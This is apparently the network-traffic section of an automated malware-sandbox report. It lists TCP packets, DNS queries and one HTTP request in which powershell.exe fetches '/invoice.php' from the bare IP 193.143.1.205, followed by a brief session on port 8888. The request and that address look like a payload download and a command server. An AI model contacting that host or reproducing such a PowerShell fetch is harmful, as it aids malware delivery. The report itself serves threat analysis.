Jan 13, 2025 10:14:12.470972061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470987082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.470992088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.470999956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471013069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471019983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471039057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471039057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471057892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471174002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471182108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471194029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471231937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471237898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471240044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471244097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471266985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471272945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471287966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471290112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471318960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471337080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.471402884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471468925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471474886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.471558094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.488847971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488856077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488874912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488929033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488935947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488938093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.488941908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488949060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488964081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488970995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.488972902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.488981962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489016056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489016056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489073038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489090919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489103079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489207029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489221096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489232063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489238977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489244938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489259958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489259958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489308119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489315033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489326954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489334106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.489342928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489368916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.489368916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.517586946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517623901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517633915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517640114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517657995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517666101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517673016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517679930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.517715931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.517837048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.530041933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530137062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530142069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530152082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530159950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530164957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530170918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530177116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530194998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530200958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530201912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.530203104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.530214071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530220985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530257940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.530257940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.530364990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530370951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530384064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530389071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.530492067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.549590111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549633980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549642086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549649000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549654007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549659967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549668074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.549702883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.549859047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.558351994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562091112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562107086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562124968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562130928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562138081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562155008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562161922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562174082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562180996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562185049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562185049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562227011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562237024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562252045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562258005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562297106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562297106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562340975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562465906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562472105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562484980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562489986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562495947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562509060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562515020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562534094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562549114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562558889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562565088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562587976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562593937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562606096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562633038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562638998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562680006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562680006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562704086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562711000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562724113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562736034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562743902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562767029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562822104 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562863111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562936068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562942982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562961102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562968016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.562978029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.562999964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563007116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563067913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563080072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563086987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563091993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563117027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563117027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563127041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563133001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563185930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563210964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563321114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563324928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563332081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563345909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563352108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563358068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563373089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563385963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563391924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563391924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563406944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563455105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563462019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563469887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563496113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563502073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563509941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563517094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563591003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563597918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563604116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563616037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563621998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563642979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563647985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563648939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563663006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563669920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563766003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.563956022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563962936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.563970089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.564002037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.564018011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.564023972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.564030886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.564037085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.564059019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.564059019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.564078093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.571058989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581417084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581423998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581432104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581475019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581481934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581522942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581522942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581631899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581645966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581653118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581659079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581671953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581676960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581682920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581686020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581688881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581696033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.581701994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581738949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.581738949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.610132933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610140085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610146046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610193968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610198975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610205889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610213995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.610235929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.610235929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.610312939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.622597933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622642040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622653008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622659922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622697115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622710943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622719049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622730017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622731924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.622733116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.622737885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622777939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.622777939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.622827053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622833014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622839928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622847080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622853041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.622895002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.642154932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642168045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642174959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642189980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642196894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642230988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642235041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.642236948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642249107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.642277002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.642314911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654582024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654666901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654673100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654685020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654690981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654695034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654697895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654710054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654716015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654752016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654752016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654779911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654787064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654798985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654833078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654838085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654839039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654848099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654900074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654906988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654918909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.654934883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.654962063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.655031919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.655044079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.655050993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:12.655143023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.795649052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:12.870531082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:13.082678080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:13.499505997 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:13.504424095 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:13.504508018 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:13.504662037 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:13.509416103 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:14.336433887 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 13, 2025 10:14:14.387512922 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:15.776144028 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 13, 2025 10:14:21.519094944 CET	58665	53	192.168.2.8	1.1.1.1
Jan 13, 2025 10:14:21.523936987 CET	53	58665	1.1.1.1	192.168.2.8
Jan 13, 2025 10:14:21.524010897 CET	58665	53	192.168.2.8	1.1.1.1
Jan 13, 2025 10:14:21.524097919 CET	58665	53	192.168.2.8	1.1.1.1
Jan 13, 2025 10:14:21.528872967 CET	53	58665	1.1.1.1	192.168.2.8
Jan 13, 2025 10:14:21.988496065 CET	53	58665	1.1.1.1	192.168.2.8
Jan 13, 2025 10:14:21.989474058 CET	58665	53	192.168.2.8	1.1.1.1
Jan 13, 2025 10:14:21.994429111 CET	53	58665	1.1.1.1	192.168.2.8
Jan 13, 2025 10:14:21.994595051 CET	58665	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 10:14:21.512168884 CET	50061	53	192.168.2.8	1.1.1.1
Jan 13, 2025 10:14:21.518743992 CET	53	50061	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 10:14:21.512168884 CET	192.168.2.8	1.1.1.1	0xaf25	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:14:21.524097919 CET	192.168.2.8	1.1.1.1	0x1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 10:14:21.988496065 CET	1.1.1.1	192.168.2.8	0x1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 10:14:22.765516996 CET	1.1.1.1	192.168.2.8	0xb95c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:14:22.765516996 CET	1.1.1.1	192.168.2.8	0xb95c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:15:25.547285080 CET	1.1.1.1	192.168.2.8	0xd0ac	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 10:15:25.547285080 CET	1.1.1.1	192.168.2.8	0xd0ac	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	3272	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 10:14:11.048439980 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
